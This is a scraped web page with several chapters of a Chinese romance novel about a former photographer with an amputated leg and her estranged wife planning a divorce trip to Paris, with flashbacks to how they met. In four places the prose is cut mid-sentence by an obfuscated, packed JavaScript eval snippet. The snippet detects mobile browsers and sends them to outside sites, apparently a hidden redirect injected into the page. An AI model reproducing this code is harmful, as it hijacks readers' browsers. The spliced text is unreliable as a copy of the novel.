而是—— 她想把她从这里带出去。 或许是出于怒其不争,又或许是某种不忍心,黎无回觉得她不应该待在这里。 邱一燃恍惚间终于明白—— 原来这四个月以来,黎无回天天来她楼下守她,除了怨恨以外,更多的还是出自某种说不清道不明的愧疚,也同样是不想让她继续待在这里。 因为黎无回总是觉得,她这条腿,是为她而断的。 尽管邱一燃无数次申明那是意外,也对外申明这件事和黎无回无关。但她知道,黎无回从未被她说服过。 有时她作为被黎无回那双眼睛所凝视的那个人,甚至比黎无回更能看清这件事。 所以邱一燃取消了订单。 而就在她取消订单的下一秒—— 她就接到了公司的派单电话,派单员在那边停了半晌,似乎是在考虑怎么措辞,过了会才有些犹豫地开口, “有个订单指定你,下个月从这里开到巴黎,送个客人。车的保养费、途中装备费用以及其他产生的费用全都由客人来出,出发时间和到达时间不限,接吗?” 梦巴黎出租公司除了自有平台以外。 有时也会采取电话接单和自主派单的形式,让司机和乘客对接。 这通电话打过来,似乎派单员自己也意外。而邱一燃再度认知到,黎无回说的的确不是空话。 但怎么可能? 从这里开到巴黎? 她以自己腿脚不便的理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673765|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由—— 再度拒绝了这个荒诞的订单。 然后将手机扔到一旁,发动了车,开入车流。 _ 不知是不是她的错觉,她总觉得这一天是在过得太漫长。 吃晚饭的时候她吐了,因为饭太油腻,吐过之后她好一些,但她不想回去。 于是她仍旧像往常一样,开着车在潮湿逼仄的小巷拉客,路过那个二十层楼的广告位,路过书店在夜晚摆在外面的杂志摊—— 然后她看见黎无回。 广告位上的黎无回,杂志上的黎无回,别人口中的黎无回。 仍然还是圣诞节,街灯游离。她停下来,多看了杂志两眼,然后视若无睹般地将车开走。 回到住处后天已经很黑,但她没有开灯,而是在黑暗里静静坐着,出租屋内的灯光开关布局很不合理,对她这个残疾人来说,时开时关很费力,于是很多时候她都已经习惯黑暗。 突然间她想起来这本杂志中有篇采访,采访中有个问题—— 【Q13:那之前Ian那件事呢,现在你也完全move on 了吗?】 她还记得这个问题的答案在下一页。 也清晰地记得,当她翻开下一页之后,看到的黎无回的回答只有两个字—— 【快了。】 后来,邱一燃也有想过,采访中提到的“Move on”,绝对不是指她们曾经被猜测过也被造谣过的感情。 而是指邱一燃当初突然被截掉的左腿,以及她从此以后一蹶不振,甚至退出业界,被人唏嘘不已过,又被忘记过的……那段时日。 邱一燃空洞地靠在床沿边,盯着窗外那盏黄调的路灯,她不记得自己究竟是有多久没想起过那些事情。 归根结底—— 人如果想要一蹶不振,本来就是件很简单的事情。 既然黎无回说“快了”。 那就证明,黎无回也快要从那件事中走出来了。 想了想—— 邱一燃觉得自己的人生大概已经能够望到尽头,但至少她还可以帮黎无回一个忙。 毕竟当初她一走了之,将黎无回独自留在巴黎,的确是愧对黎无回。 于是她找到手机,打开她们之前联系过的平台,手指冻到僵硬,总是打成错别字,她就一边哈着气一边修改。 最后那行字反反复复地删去又重打,被很郑重其事地发过去: 【我愿意跟你去离婚,但换一种更快的方式可以吗?】 18.「黎无回」 不管是考虑到她的身体状况,还是途中需要经过数十个国家的困难,以及这段旅途中会发生的未知…… 邱一燃都觉得黎无回的想法太冒险。 比起惧怕自己的腿无法支撑这段旅途,她更惧怕自己会在那段未知的时日里改变想法。 光是想到要以这个模样再去一趟巴黎……就已经足够让她失魂落魄,她不想要有任何自己无法控制的情况发生。 于是她说,换一种更快的方式。 当然最好是航空。 她想要尽快让黎无回从当初那件事里走出来,将她忘得一干二净…… 也不要再对自己终究会忘记她这件事而感到愧疚。 而几乎就是这条信息刚发出去的那一秒钟—— 啪嗒—— 本就破破烂烂的窗户发出一声响,像是有什么东西被砸落下来。 邱一燃一怔。 抬头去望—— 那扇贴着彩色窗花贴纸的玻璃窗,仍旧在冷空气中摇摇晃晃。 她缓过神来。 匆匆走过去,往窗户下望—— 却发现楼下空空荡荡,只有几盏模糊车灯游离。 原来不是黎无回。 说不清到底是种什么心情,看着空荡街道,邱一燃愣了片刻。 将窗户紧紧关上。 她疲惫地贴在冰冷墙壁边坐下,潮湿晦涩的出租屋变得更黑了,像快要将她一点点吞咬进去的巨鲸口腹。而也就是在这个时候——不知放在哪里的手机突然响了。 振动是从兜里传出来。她费力地将手机掏出。 屏幕上是一串没有保存过的电话号码。 手机在手心稳稳振动。 良久,她按下接听。 打过来的人没有马上说话,传过来的只有呼吸声。 交缠,融合,一起一伏,在四处弥漫。 显得出租屋内越发安静了。 “黎春风?” 良久,邱一燃还是先出了声,她呼出白气,立马就被黑暗吞噬掉。 “是我。” 隔着电话信号,黎无回的声音显得越发失真了,像飘在空中的气泡,“你在哪儿?” “我在……我,我住的地方。” 而后两个人都沉默。 这是她们时隔多月后的第一次通话。 很沉重,也很单薄。像两个不怎么熟悉的陌生人,或者是刚学会打电话的两个人。 通话时长拖到快两分钟时,邱一燃决定快刀斩乱麻, “你看到我发过去的信息了吗?” “看到了。”黎无回说。 “你怎么想?” “不怎么想。” “一定要去巴黎离婚吗?”邱一燃问。 黎无回“嗯”了一声,语气直接而笃定,“一定。” “也一定要开车去?” 连着问了三个问题,语气中都夹杂着焦躁和不解,连邱一燃都觉得自己有些咄咄逼人。 可黎无回却笑了。 笑得像很多个泡泡飘起来,甚至飘满整间晦暗的出租屋,挤得被困在其中的邱一燃彷徨失措,不知去何方向。 因为泡泡是极易碎掉的东西。 “邱一燃。” 然后泡泡真的破了。 电话中,黎无回轻轻问她,“你真的想就这么不明不白地和我分开吗?” 邱一燃发怔。 “当初和我结婚时,那么不明不白地也就算了……” 黎无回继续追问, “现在连离婚也要这么模糊不清,到最后根本不知道自己做了什么吗?” 泡泡被一个一个地戳破,噼里啪啦地,空气中溢满粘稠气体。 邱一燃紧紧攥着手机,眼眶发涩,她感觉自己的心肺系统几乎失去效用。 “我们之间真的是两三句话就可以说清楚的吗?” 电话中,黎无回没有因此而停下,很冷静地一句接一句发问—— “你不想和我好好结束吗?” “你不想彻底抛掉在巴黎的一切,包括……” 连问了几句,黎无回顿了半晌,才继续往下说,质问的语气, “……包括我吗?” 面对黎无回一个接一个的问题。 邱一燃能感觉到自己的呼吸声变得越来越重,她几乎说不出任何话来。 “你为什么一个问题都不回答?”黎无回继续问她。 邱一燃艰难地张了张唇,“我……” “不过,”黎无回打断了她。 貌似根本就不想听到她回答这些问题,也终于放过了她。 “算了,”黎无回笑,像漠然,又像无力,“我打电话来不是想和你说这件事。” 邱一燃茫然,“那是为了什么?” 黎无回却突然噤了声。 邱一燃以为是电话信号突然中断,她这里信号的确不太好。 于是她费劲地举起手机,想要让自己的手机信号能好一点。 而也就是在这个时候—— 电话里突然传出了很细微的声音,嘀嗒,嘀嗒,嘀嗒…… 像是手表时间在走动的声音。 邱一燃用了些时间才分辨出来。 也才肯定,这是黎无回将手表贴近手机,才将这种声音收得那么清楚。 可黎无回为什么突然不说话? 错愕间。 嘀嗒—— 邱一燃不小心点亮屏幕。 嘀嗒—— 23:59跳转到00:00. 嘀嗒—— 过去了。 嘀嗒—— 她们的结婚纪念日。 结束了。 电话里的手表声消失。 黎无回的声音再次出现,“我现在在机场,再过一会就要离开这里。” 邱一燃眼眶发热。 黎无回提到结婚纪念日,让她没办法完全抛却这件事,继续去说服黎无回尽快和她离婚。 “关于这件事,你可以再考虑。”时间跳转到第二天,黎无回在挂断以前说, “但我的想法不会变,除此之外我不接受其他任何方式离婚。总之我的诉求是,开你的车,跟我去巴黎,离婚之后……” “你就再也不用见到我。” - 这通电话过后,这个荒诞的想法在邱一燃脑子里成了型。 关于黎无回在电话里提出的几个问题,她明白自己连一个都没办法回答。 黎无回说可以给她时间考虑。但自己却再没出现过,也没再联络过她。 她就像生活在童话故事里的人,时间一到就头也不回地跳上南瓜马车,然后彻底消失在她的世界。 让邱一燃几近以为—— 那个荒诞的想法,那个疯狂的人,都只是一场梦。 直到二零二四年都快要结束。 卫子柯约她吃涮羊肉,锅底清汤不辣,邱一燃看到火锅店的电视上在播一个在国外登记的同性离婚的新闻。 很久,她看着新闻播报不说话。 卫子柯热气腾腾地夹了几筷刚煮熟的羊肉,问她为什么不说话。 她低下眼,看自己碗中冷掉快凝固的麻酱,问, “反正在国内是无效的,为什么最后离婚还要闹得人尽皆知?” “为了争口气吧。”卫子柯吹了吹羊肉,然后一筷子下去,嚼巴嚼巴,才说,“而且不离也不成事吧,万一……” “万一什么?”邱一燃望过去。 “你看啊,”卫子柯用筷子指着电视里两位被打码的当事人, “当时会跑去国外登记肯定也是因为爱吧,现在离婚了也是因为不爱,因为鸡零狗碎,因为鸡飞狗跳……” “那不能说爱情发生的时候,就需要登记就需要神的见证,爱情结束的时候就当什么都没发生过,连个仪式都不舍得走吧,这能对得起之前的爱意吗?而且现在不离的话……” 作为第三视角,卫子柯几乎是一针见血,“那以后,她们要还想在国外跟别人结婚怎么办?” “难道她们两个都闹到离婚这个地步了,也都还没想过以后还要结婚这个可能?” “这不是占着茅坑不拉屎吗?” 说完这句。 卫子柯又低头夹了一筷冒着热气的羊肉,嘶哈嘶哈地吃进去,才发现邱一燃已经很久都没有说话。 于是她抬头—— 才突然看见邱一燃双目通红,一动不动地盯着翻腾的火锅,仿佛瞬间被彻底击垮。 “你怎么了?”卫子柯有些慌张地扯了张卫生纸过去,“突然这是……” 邱一燃慢半拍地过来接她的纸。 却伸了几次手都没拿到。 最后还是卫子柯塞到她手里,她才很笨拙地拿到这张纸。 但是接到之后。 她也不去擦自己流下来的眼泪,像是根本不知道自己已经不知不觉落泪。 而是擦了擦嘴。 揉在手里,很勉强地冲她笑了笑,几乎是一个字一个字地往外吐, “可能是,太辣了。” - 和卫子柯分开以后。 邱一燃打算直接将车开回家——尽管这是跨年夜,生意比前几天都要好。 但她没办法继续开车。 因为时至今日她终于被卫子柯点醒——如果以后黎无回要跟别人结婚呢? 邱一燃不知道自己为什么没想过这个可能,或许是出于回避,又或许是出于一种空洞而浑然不觉的自信…… 如今被卫子柯直截了当地指出来,那一瞬间她才觉得空气中的氧气都瞬间被偷走。呼吸是被抢来的,于是每吸一口气她都觉得身上有哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686969|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里在痛。 可她的确没办法这么恬不知耻,继续占用黎无回在国外的合法配偶身份。 这座城市明明那么小,可回去的路却格外漫长,她打开了某个播客,这是之前某位乘客在车上听的内容,连过一次她的蓝牙。 密密麻麻的谈话声飘在车内,使邱一燃能勉强好过一点。 说实话她其实没有将播客的内容听进去,很多人讲的话,都像一片片落叶那般飘在她耳朵边,只是落下去,但她并不清楚她们在说什么。 直到有个熟悉的名字从中出现,而后播客主持人介绍了一长串内容,在很多模模糊糊的字眼中,有道熟悉的声音出现—— 她对所有人说, “大家好,我是黎无回。” 专属于这个人的,语速很快,但带着笑意的语气。 今夜的黎无回貌似很开心,因为她对听到这个播客的所有人都说, “很高兴见到你。因为是今年的最后一天,而你对二零二四年最后一秒钟的记忆,也都与我有关。所以我很高兴。” 邱一燃却因此几乎闯了红灯。 红灯霓虹在车窗前闪烁,她失魂落魄地将车停住,将音响音量调大了些。 主持人听到黎无回这么说,很爽朗地笑了起来, “我也很高兴,能和无回一起度过二零二四年的最后一秒钟。虽然我们这是录播哈哈哈哈……” 邱一燃抿了抿唇。 黎无回似乎卡了一下。 过了几秒钟才恢复正常, “没关系,反正听的人会在二零二四年的最后一秒钟听到,不是吗?” “对,所以不妨碍我们一起从二零二四跨到二零二五哦~” 主持人接话,然后正式进入今天的主题,“既然是年末,那我们就来聊聊冬天的故事吧。你有什么关于冬天的故事可以和我们分享吗?或者是关于……” 尖锐的鸣笛声突然响起—— 邱一燃回过神来。 才发现前方红灯早已结束,而停在她车后的车又连按了几声喇叭。 她如梦初醒。 匆忙间重新发动车,在今夜尤其闪亮的霓虹灯中往前开,然后听到播客中的黎无回说,“我不喜欢冬天,因为冷。但我很喜欢雪。” “不喜欢冬天却喜欢雪?我感觉和很多人一样呢哈哈哈……”主持人问, “那你有没有印象很深刻的一场雪?” “有。” “那可不可以和我们分享这个故事呢?” “可以。”这句话后,黎无回突然轻飘飘地笑了声,没有停顿,十分直接地说, “是二零一九年,巴黎的冬天下了雪,我在那场雪里结了婚。” 话落的那一秒—— 前方远光灯直冲冲地射过来,邱一燃猛地踩紧刹车。 车轮在干燥地面发出巨大的摩擦声。 停车后她仍旧心悸地抓紧方向盘,十分诧异地盯着黑黝黝的音响—— “虽然那场婚姻到后来被说是无效的,但那天那场雪,的确是我印象最深刻的一场雪。”播客里,黎无回语气轻松地继续往下说着。 而她似乎并不知道自己说的内容,在外人看来究竟有多惊世骇俗。或者她知道,但她也觉得无所谓, “因为当时,有个人很郑重其事地对我说,无论生老病死,无论贫穷富贵,直到生命的最后一秒钟,都会永远爱我。” 而主持人貌似也在为黎无回的极度坦诚而感到震惊,甚至在录播的节目中还停了两三秒钟,才把话接下去, “这么……这么简单吗?” 之后主持人的语速恢复了正常,像经过剪辑, “我的意思是,既然能铭记于心、甚至五年过后还能一字不差地记得的,会很不一样?” “没有多不一样,很常见,每个去结婚的人都这么说。” 黎无回的声音里完全没有惊慌。 她好像只是很真诚,也很坦率地回答了一个随机的问题, “但我记得很清楚。” “那之所以印象深刻,”大概是因为当时录播没考虑太多,主持人试探着问,“是因为那场雪?还是因为当时对你说这段话的人?” 黎无回久久没有回答。 久到邱一燃险些以为这不是录播节目,而是一场直播。 但无论是直播录播都相差无几。 毕竟黎无回那么毅然决然,已经将整件事推动到她无法控制的地步。 对面汽车的远光灯从脸边冷冰冰地刮过,邱一燃突然听不下去。 用手肘撞开车门。 寒风扑面而来,刮在脸上异常刺痛,她踉踉跄跄下车,疯狂往外奔逃—— 夜车鸣笛,今夜迷惘。 下车后她还是听见,车里黎无回“嗯”了一声,声音很轻地说, “她很好。” 19.「黎春风」 “她很好!” 二零一九年,黎无回二十二岁,听冯鱼说过无数次这句话,却始终不以为意。 那时她还叫作黎春风。 和自己同期的模特冯鱼,在巴黎十八区的廉价公寓中合租。 十八岁时她来到巴黎,和经纪公司签了五年合约。那时年轻,把一切都想得很天真,没发现合约有问题,也不知道,她不仅会在未来五年都没有正经工作,而且还会因为这个不靠谱的经纪公司,而荒废整整五年的青春。 以至于完全错失掉作为模特的黄金年龄。 冯鱼和她同病相怜。 巴黎,光之城。 她们十八岁就来到这里,但却从没有体会过巴黎带给她们的光鲜亮丽。 对二十二岁的黎春风而言—— 她的巴黎混乱,动荡,不安,是已经被冷冻的四年,以及无望而等候被斩首的最后一年。 但蹉跎四年,冯鱼仍旧有梦想。 这点和她不一样。 黎春风基本靠巴黎低处的迷乱空气和酒精度日。 而冯鱼还有个尤其喜爱的摄影师——甚至也是个中国人,十九岁就成了名,游走于各大时装周和商业品牌之间。 获了很多奖,说了很多获奖感言。 说的话被印在杂志封面上,用大字中文在整个巴黎传播,很多模特希望被她拍下一组会永远被人记住的人生照片,很多糊涂迷茫的年轻人以她为榜样,勇敢地迈入这个行业。 作为摄影师…… 甚至还被邀请登上很多个杂志周刊封面,以及某个时装周某场走秀中作为开场模特。 冯鱼对这个摄影师的事迹如数家珍,或许是因为同处业内,又都是中国人,她对这个人格外关心,甚至还找来这个人十九岁时的走秀视频—— 让黎春风反复观看。 “所以她到底是摄影师还是模特?”黎春风瞥过几眼就没有兴趣,懒洋洋地掀过眼皮。 虽然碍于冯鱼,她没有把话说得很直接。但很多次听说这个人的事迹,她很想问—— 就这么爱出风头? “她就因为走过这么一次特殊场。”冯鱼大概知道她在想什么,冲她翻了个白眼, “我知道你在想什么,但她当时才十九岁,又年轻又有才华,被捧这么高,就算在这纸醉金迷的巴黎迷失那么一小会,那也很正常。” “不过说来也奇怪,真的就那么一小会,就那么一年,一年之后她就直接消失了,没影了。” “大众的注意力消失本来就是很快的事情。”黎春风漫不经心地翻着杂志。 她不认为年少成名的人在气焰最盛时,会懂得剥去自身所有光环去自省。 冯鱼将她手中杂志抢过去,将分开的杂志盖在自己脸上,幽怨的语气, “我要是能上四大中的任何一个封,这辈子都值了!” 公寓内整日没有阳光,投进来的光影晦涩,黎春风撑着下巴,看到杂志封面上女人年轻而鲜活的脸,以及那两句很显目的中文—— “我觉得我只是个偷眼看世界的人。” “只不过我偷来的那双眼睛,恰好能被更多人看见罢了。” 公寓空气阴郁,黎春风因为看清这两句话而发笑。 Ian。 邱一燃。 这两个名字很像。 Ian,再加一个r,就是一燃。 黎春风觉得有点巧—— 因为她有时候她跟人自我介绍,没耐心了就会直接说她叫Spring。 正好有一个r。 当然这很牵强,所以她没有向冯鱼说明这一点。 但她记住了这个名字。 因为这个人身上有很多争议,所以冯鱼总是跟很多人据理力争, “她很好!” 黎春风大部分时候不会反驳。 但通常她会站在冯鱼身旁,眯着眼睛晒太阳,有时候也会想—— 也许只有对这样的人来说,巴黎才可以被称作光之城。 而她的巴黎已经苟延残喘。 仅剩最后一年的寿命,早就被宣告无药可救。 直到二零一九年的平安夜。 冯鱼回了国,在电话里拜托黎春风,帮忙买一本Ian的摄影集。 黎春风刚领到她在炸鸡店的兼职工资,交完房租,急匆匆地赶到书店。 手里的闲钱刚好只够买一本摄影集。 而买完之后,除去这几天的生活费,她就没有钱来买酒—— 用以庆祝她这个月按时付完房租的伟大举动。 她觉得十分可惜,也很纠结。 她不知道自己要不要那么慷慨善良,竟然要为冯鱼这本摄影集而贡献出自己整个圣诞节的酒精额度。 当然最后还是选择了买摄影集,因为冯鱼说回来再请她喝酒。 黎春风抱着那本《她的理想国》,刚转身,就看到一桩碰撞事故在她眼前发生,于是她只好停下来,等待门口的两人先离开—— 被撞的人低下头帮忙捡书。 撞的人却拿了书就跑,连声对不起也没说。 于是被撞的那个女人,也就是穿大衣系着绿色格纹围巾的那个女人,在原地停住,连背影看上去都十分错愕。 然后她就在自己身上翻找,像是在找可以擦拭的东西。 黎无回瞥见她裤脚的咖啡渍。 莫名奇妙,她找了找自己身上,发现自己今天竟然恰好带上了手帕。 她下意识地掏出手帕,却没能给出去。 因为门外那个女人已经弯着腰,将自己慢条斯理地整理好,很没有脾气地说了声, “好吧,没关系。” 黎春风握着手帕笑出声,也没有因为听到熟悉的中文就收敛。 于是门外的女人被她的笑声惹得侧头,像是迷茫间有所察觉。 却还是没能找到她。 当时她和她只差五步的距离。 她却没发现她,视线晃了两圈,就冒着雪从黎春风的视野中离开。 而黎春风终于看清这个人的脸。 她绝不会看错,因为看过无数次,无论是在杂志封面上,还是在那个被冯鱼逼她观看过无数次的视频中…… 又或者是此刻她手上这本《她的理想国》。 最后一页。 就是这个女人的黑白调相片—— 细眉,温存而坦荡的眼,眼尾一颗泪痣。眉眼间比起十九岁时多了几分成熟。 邱一燃。 其实令黎春风意外的,不是她在这里遇到了邱一燃,而是…… 这个人和她想象中不一样。 年少成名,接受那么多赞誉和喜爱的人,怎么会是这个温吞吞的性子? 不合常理。 同样不合常理的,还有那一年的巴黎,没有前几年那么寒冷,尽管下了雪,但街道看起来很温暖。 或许是因为这次黎春风终于按时交房租,不怕在这个冬天在深夜被房东赶出去。 邱一燃离开后。 黎春风没有离开书店。 而是又坐了回去,认认真真地翻阅手中的摄影集。 其实出乎意料。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14704379|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这个人虽然年轻,但也不是在十九岁时就一举成名。 原来从十六岁起她就开始给很多杂志周刊投稿,也遭受过无数次推拒和石沉大海。所以巴黎对她也并没有那么包容。 这反而使黎春风觉得好受一些。 邱一燃的作品主要以人像为主。 她拍坐在塞纳河边吟唱诗歌的诗人,在波光粼粼中开怀大笑的乞丐……每组相片情绪浓烈,画面干净。 被她选作拍摄对象的人几乎都随处可见,但在她的镜头下的确有种别样的魅力,难怪冯鱼说自己的退圈心愿就是成为她的模特。 翻阅完已经天黑。 街上亮起了黄灿灿的圣诞灯,兼职的炸鸡店已经打来好几通电话,黎春风浑然不知,等翻到最后一页才想起这件事。 于是抱着摄影集往外跑。 雪从天边飘下来,落到她肩上,她怕雪融洇湿了摄影集,于是抱在大衣里护着,在路边拦下辆出租车。 手忙脚乱地踩着雪,打开车门上了车。 车内温暖瞬间驱散身上寒气。 她第一时间去拂摄影集上的雪,却又感觉车另一边车门被打开了—— 有个人直接钻了进来。 穿着厚厚的大衣,戴着厚厚的围巾,手里还抱着棵亮着灯的盆栽圣诞树…… 存在感令人无法忽视。 因为她怀里的圣诞树枝桠十分茂密,已经快要戳到黎春风眼角。 而这个人像是根本没有注意到。 只动作笨拙地去拉车门,也不肯放下手中的圣诞树。 也就是在这个时候。 黎春风看清这个人脖子上的绿色格纹围巾,以及脚上那双雪地靴。 说实话那个时候她脑子里没有任何想法,也没有将这个人和脑子里的那个人对上号。 但,但。 就在这个人关好车门即将转身的那一刹那,像自动反应,还像是怀里抱着烫手山芋那般—— 黎春风迅速将摄影集扔了出去 却又十分冷静地捡起来,再塞入出租车后面座椅中。 “不好意思,我——” 这句话从她身侧出现,听声音有些局促。 顺着声音,黎春风若无其事地转过头去。 清嗓。 理了理垂落在脸侧的头发,却摸到兜里刚刚没来得及给出去的手帕。 黎春风停了几秒。 冲旁边扬起一个恰到好处的微笑。 那时雪扑簌簌地从窗外下落,隔着圣诞树上一闪一闪的彩灯,她看清她的眼睛—— 温存,像坚韧植物,像宽广湖泊。 还像…… 雪。 黎春风不喜欢冬天,因为印象中冬天很冷,它让人想起房子里阴郁的冷空气,让人想起怎么捂也捂不热、又厚又硬的被子。 但雪不一样。 雪像是独立于冬天的一个载体。 它很白,它总是在开阔的地方落下来,它来临的时候街道会亮起很多霓虹,那个时候全世界都很温暖,它没有气味,没有味道。 她很喜欢雪。 邱一燃就很像雪。 但雪和她自己恐怕都未曾发觉过—— 其实,早在它落下来之前,她的喜欢就已经开始了。 “是因为那场雪?” “还是因为当时对你说这段话的人?”二零二四年年末,播客主持人问。 “她很好。” 巴黎窗外再次飘雪,黎无回轻笑, “如果你见到她,肯定会觉得她是你见过最漂亮的人。” 20.「黎无回」 “今天的内容,全部都剪进去吗?” 结束播客录制之后,主持人有些犹豫地在连线中问。 毫无疑问,她询问的是—— 是否需要将黎无回那段无效的婚姻史直接公开? 貌似公开也不会对她的事业有什么影响,但如果就这样公开,那黎无回近段时日应该都会过得比较热闹。 因为黎无回直言不讳的性格,大部分时候也不掩饰什么,所以她的大众缘不算好。 一句话来说就是——爱她的人爱得要死,恨她的人也恨得要死。 主持人记得,很多人都总是喜欢在黎无回身上安些不清不楚的由头——例如过度酗酒,过度服药。 以及在自己母亲死后请法师来送厉鬼,因为害怕被纠缠。 甚至有段时日很多人都认为…… 她是导致某位知名摄影师截肢退圈的罪魁祸首。 而在这之前—— 她们原本是亲密无间的合作伙伴,情感关系也被猜忌传播过无数个版本。 只是当初谁也没想到,最后是以这样的结局潦草收场。 “没关系。” 而黎无回的说法和每一次都一样, “这不是什么大事,大众的注意力消失本来就是很快的事情,况且……” 她动了动唇,“这已经是历史了。” “好吧,既然你同意的话……” “不过,”黎无回突然又提起,“最后一句还是不要放进去了吧。” “最后一句?”主持人有些疑惑,但还是很快反应过来, “啊,说她漂亮的那句——” 说到这里,爽朗得笑了声,“因为已经是历史,但这句话听上去又太像是深情表白了吗?” “不是。”黎无回否认,“因为我不想让她知道。” “知道什么?”主持人愣住。 黎无回没有回答,“总之其他的都可以剪进去,除了这句。” 主持人识趣,没有再问。 - 这天连线结束,十二月三十一日,黎无回收到邀约,前去参与年末某场非公开的品牌内部聚会。 聚会上的人很多,她简单打过招呼,就端着香槟在角落入座。 其实她不喜欢这种场合。 但她不记得自己出席过多少次这种场合,甚至不记得与自己刚刚微笑着聊过近况的白人面孔,之前到底有没有见过…… 她时常表面游刃有余,内心却游离在外。 尽管已经过去三年,但不知为何她总觉得,此刻邱一燃应该在她身旁—— 她应该和她并肩,维持着同样弧度的微笑,端和她同颜色的香槟,与不同肤色的人交流,守候着二零二四最后一秒钟的结束…… 最后再趁所有人都不注意,牵她的手,到角落悄悄皱着脸,把她们的香槟都倒掉,眼睑因为酒精泛红,像湿润的覆盆子,在她耳朵旁边轻轻耳语——黎春天,今天我们早点回去看《天使爱美丽》。 因为聚会上的中国人很少。 所以原本是全世界使用人数最多语言的中文,却因此变成她们的密语。 她们本该如此。 ——黎无回低眼,盯着酒杯里余波晃动的香槟,静静地想。 然后她看见魏停朝她走过来。 魏停是她目前的经纪人——东方面孔,出生在巴黎,这场聚会少有的中文使用者。 “你怎么了?”魏停关切地问她,“脸色看起来不太好,是很难受吗?” 黎无回摇摇头,“我没事。” 很久以前,她记得魏停是邱一燃介绍给她认识。那时,魏停笑着拍邱一燃的肩,眨着眼睛说我们是很好的朋友。 而如今,魏停从不在她面前提起这个名字,像是这个人已经彻底消失。 当然,不只是魏停。 只不过三年,这个品牌并没有经历过大幅度换血,很多在其中欢声笑语的人,也都曾经与邱一燃合作交谈过,如今她们同样心照不宣地一同选择遗忘。 大众的注意力总是消失得很快。 只要一个人不频繁出现,不拼了命地挣扎,不浮上水面,就很容易被忘记。 黎无回不得不再次意识到,某个令她曾经怨入骨髓的事实始终存在—— 邱一燃选择和她分开时的确足够狠心,几乎什么都没留给她。 只剩下黎无回自己,是邱一燃在巴黎唯一的遗留物。 - 聚会时间很漫长。 黎无回没待多久,饮完这杯难以入喉的香槟,就维持着微笑悄悄离开。 但她没走多远。 今夜巴黎灯光迷离,她摇摇晃晃地迈着步子走到停车场,扶着车门准备上车。 这时她感觉到身旁有个人突然冲上来—— 但她头昏脑胀,没来得及反应。 头顶已经被浇了一大桶冰水。 冰凉彻骨,落雪天,她只穿一袭礼服,冰水稀里哗啦地,从头顶淌下。 她愣怔着,肩背发抖。 体内残余的酒精在那一刻完全被驱散。但她还是觉得眼前这一切令她难以看清—— 停车场的保安快速冲过来,将她面前愤怒的人控制住,并且一同往后拖。 而面目狰狞的人,即使被控制住远离她,却仍人大声朝她嘶吼着, “你凭什么忘记她?你凭什么!” 之后人群从聚会中冲出来,像瀑布水滴那般喷涌到面前,那些高跟鞋皮鞋,手上颈上的钻石,头上的发胶,鲜艳的红唇……光彩溢目,全都刺过来,使得黎无回在那一刻睁不开眼。 恍惚间她抬手挡住脸。 刺骨的水滴从她脸上稀稀拉拉地淌落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14712227|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她十分勉强地睁开眼,看到魏停从那些人中冲出来。 魏停用毛巾将狼狈的她包住,然后将她快速带上车,紧紧关闭车门—— “她是谁?”车上,黎无回头发湿成一绺绺,牙齿几近都在发抖。 魏停挂完电话,很简洁地说,“Ian的疯狂迷恋者。” 太久没有从魏停口中听到这个名字,或许又是那一桶冰水太凉,以至于黎无回顿了几秒,才反应过来, “那她为什么要泼我?” “总有人的想法很激进,你不用管,我来处理。”魏停没有向她直接说明缘由。 黎无回觉得疲累。 今天这场聚会,以及这桶泼到头顶的冰水,都让她越来越趋近一个发皱的皮球。 车里的暖气并没有使她变得温暖起来。 她盯着窗外看了半晌,突然想起那个人口袋中被撕碎的几张碎片—— 是她某本杂志的封面图。 既然是邱一燃的疯狂迷恋者,又怎么会有她的杂志封面图? 黎无回反应过来。 在车上找到那本杂志,翻开后她突然明白为什么—— 因为这本杂志她采访的第十三个问题。 她说,快了。 果然是报应——只不过说了这两个字,就已经有人用这种激进的方式来提醒她,任何一个人都可以忘了邱一燃,并且都可以毫无愧疚,但唯独她不可以。 黎无回低笑,像自嘲,像悲戚。 